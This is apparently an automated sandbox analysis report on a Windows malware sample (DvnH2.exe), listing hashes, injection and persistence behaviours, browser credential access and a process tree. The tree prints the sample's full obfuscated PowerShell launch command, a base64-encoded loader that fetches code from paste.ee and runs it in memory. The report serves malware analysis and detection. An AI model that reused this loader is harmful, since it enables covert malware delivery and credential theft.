Analysis
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max time kernel
150s -
max time network
140s -
platform
windows7_x64 -
resource
win7v200430 -
submitted
08-07-2020 10:13
Static task
static1
Behavioral task
behavioral1
Sample
DvnH2.exe
Resource
win7v200430
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
DvnH2.exe
Resource
win10
0 signatures
0 seconds
General
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Target
DvnH2.exe
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Size
847KB
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MD5
bc23e4cf90c63d9a84eb905e6ec82f82
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SHA1
b82df977fcc19b730ac2cdacec7d3b93617c57ed
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SHA256
0396da4728728701d82bea35844941b36b6ff001bd4a46b3e3f45d5143205b16
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SHA512
01007caceb1e777b55d3118f7cb21117f2ca17b4caf211108b90de705c490c472df859da2802d015329b856d1be303bff6f73a624cb720682cea3f1cd0dcddd4
Score
8/10
Malware Config
Signatures
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Suspicious use of SetThreadContext 4 IoCs
Processes:
powershell.exeMSBuild.exeraserver.exedescription pid process target process PID 1020 set thread context of 1140 1020 powershell.exe MSBuild.exe PID 1140 set thread context of 1192 1140 MSBuild.exe Explorer.EXE PID 1140 set thread context of 1192 1140 MSBuild.exe Explorer.EXE PID 1820 set thread context of 1192 1820 raserver.exe Explorer.EXE -
Suspicious behavior: MapViewOfSection 8 IoCs
Processes:
MSBuild.exeraserver.exepid process 1140 MSBuild.exe 1140 MSBuild.exe 1140 MSBuild.exe 1140 MSBuild.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe -
Drops file in Program Files directory 1 IoCs
Processes:
raserver.exedescription ioc process File opened for modification C:\Program Files (x86)\Iz4nhm\audiodgpbcpl0t.exe raserver.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Processes:
raserver.exedescription ioc process Key created \Registry\User\S-1-5-21-910373003-3952921535-3480519689-1000\SOFTWARE\Microsoft\Internet Explorer\IntelliForms\Storage2 raserver.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Processes:
Explorer.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Explorer.EXE -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
DvnH2.exepowershell.exepowershell.exeExplorer.EXEraserver.exedescription pid process target process PID 1092 wrote to memory of 1332 1092 DvnH2.exe powershell.exe PID 1092 wrote to memory of 1332 1092 DvnH2.exe powershell.exe PID 1092 wrote to memory of 1332 1092 DvnH2.exe powershell.exe PID 1092 wrote to memory of 1332 1092 DvnH2.exe powershell.exe PID 1332 wrote to memory of 1020 1332 powershell.exe powershell.exe PID 1332 wrote to memory of 1020 1332 powershell.exe powershell.exe PID 1332 wrote to memory of 1020 1332 powershell.exe powershell.exe PID 1332 wrote to memory of 1020 1332 powershell.exe powershell.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1020 wrote to memory of 1140 1020 powershell.exe MSBuild.exe PID 1192 wrote to memory of 1820 1192 Explorer.EXE raserver.exe PID 1192 wrote to memory of 1820 1192 Explorer.EXE raserver.exe PID 1192 wrote to memory of 1820 1192 Explorer.EXE raserver.exe PID 1192 wrote to memory of 1820 1192 Explorer.EXE raserver.exe PID 1820 wrote to memory of 1308 1820 raserver.exe cmd.exe PID 1820 wrote to memory of 1308 1820 raserver.exe cmd.exe PID 1820 wrote to memory of 1308 1820 raserver.exe cmd.exe PID 1820 wrote to memory of 1308 1820 raserver.exe cmd.exe PID 1820 wrote to memory of 1572 1820 raserver.exe Firefox.exe PID 1820 wrote to memory of 1572 1820 raserver.exe Firefox.exe PID 1820 wrote to memory of 1572 1820 raserver.exe Firefox.exe PID 1820 wrote to memory of 1572 1820 raserver.exe Firefox.exe PID 1820 wrote to memory of 1572 1820 raserver.exe Firefox.exe -
Suspicious behavior: EnumeratesProcesses 31 IoCs
Processes:
powershell.exepowershell.exeMSBuild.exeraserver.exepid process 1332 powershell.exe 1332 powershell.exe 1020 powershell.exe 1020 powershell.exe 1140 MSBuild.exe 1140 MSBuild.exe 1140 MSBuild.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe 1820 raserver.exe -
Blacklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 1020 powershell.exe 5 1020 powershell.exe -
Adds Run entry to start application 2 TTPs 2 IoCs
Processes:
raserver.exedescription ioc process Key created \Registry\Machine\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run raserver.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\VFIHZLNHGZY8 = "C:\\Program Files (x86)\\Iz4nhm\\audiodgpbcpl0t.exe" raserver.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exeMSBuild.exeraserver.exedescription pid process Token: SeDebugPrivilege 1332 powershell.exe Token: SeDebugPrivilege 1020 powershell.exe Token: SeDebugPrivilege 1140 MSBuild.exe Token: SeDebugPrivilege 1820 raserver.exe -
Suspicious use of FindShellTrayWindow 5 IoCs
Processes:
Explorer.EXEpid process 1192 Explorer.EXE 1192 Explorer.EXE 1192 Explorer.EXE 1192 Explorer.EXE 1192 Explorer.EXE -
Suspicious use of SendNotifyMessage 4 IoCs
Processes:
Explorer.EXEpid process 1192 Explorer.EXE 1192 Explorer.EXE 1192 Explorer.EXE 1192 Explorer.EXE
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Checks whether UAC is enabled
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
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C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"C:\Users\Admin\AppData\Local\Temp\DvnH2.exe"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe PowERsHELl.`ExE -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA3⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy bypass -w 1 /e JAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAJwAgACsAIABbAEMAaABhAHIAXQA1ADgAIAArACAAJwAvAC8AcABhAHMAdABlAC4AZQBlAC8AcgAvAHcAagBtAFgAcQAnACkALgBSAGUAcABsAGEAYwBlACgAIgBeACIALAAgACIANAA0ACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACoAIgAsACAAIgA0ADgAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAIwAiACwAIAAiADcAOAAiACkAfABJAEUAWAA7AFsAQgB5AHQAZQBbAF0AXQAkAGYAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ATwB1AHcASgBaACcAKQAuAHIAZQBwAGwAYQBjAGUAKAAnACQAJAAnACwAJwAwAHgAJwApAHwASQBFAFgAOwBbAEMALgBNAF0AOgA6AFIAKAAnAE0AUwBCAHUAaQBsAGQALgBlAHgAZQAnACwAJABmACkA4⤵
- Suspicious use of SetThreadContext
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"5⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\raserver.exe"C:\Windows\SysWOW64\raserver.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Drops file in Program Files directory
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
- Suspicious behavior: EnumeratesProcesses
- Adds Run entry to start application
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\cmd.exe/c del "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
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C:\Program Files\Mozilla Firefox\Firefox.exe"C:\Program Files\Mozilla Firefox\Firefox.exe"3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Roaming\057903T3\057logim.jpeg
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C:\Users\Admin\AppData\Roaming\057903T3\057logrf.ini
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C:\Users\Admin\AppData\Roaming\057903T3\057logri.ini
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C:\Users\Admin\AppData\Roaming\057903T3\057logrv.ini
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
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memory/1020-3-0x0000000000000000-mapping.dmp
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memory/1140-7-0x0000000000400000-0x000000000042D000-memory.dmpFilesize
180KB
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memory/1140-8-0x000000000041E200-mapping.dmp
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memory/1192-9-0x0000000006920000-0x0000000006A21000-memory.dmpFilesize
1.0MB
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memory/1308-12-0x0000000000000000-mapping.dmp
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memory/1332-0-0x0000000000000000-mapping.dmp
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memory/1572-15-0x0000000000000000-mapping.dmp
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memory/1572-16-0x000000013F2C0000-0x000000013F353000-memory.dmpFilesize
588KB
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memory/1820-14-0x0000000003950000-0x0000000003A94000-memory.dmpFilesize
1.3MB
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memory/1820-13-0x0000000003040000-0x00000000031BE000-memory.dmpFilesize
1.5MB
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memory/1820-11-0x0000000000320000-0x000000000033C000-memory.dmpFilesize
112KB
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memory/1820-10-0x0000000000000000-mapping.dmp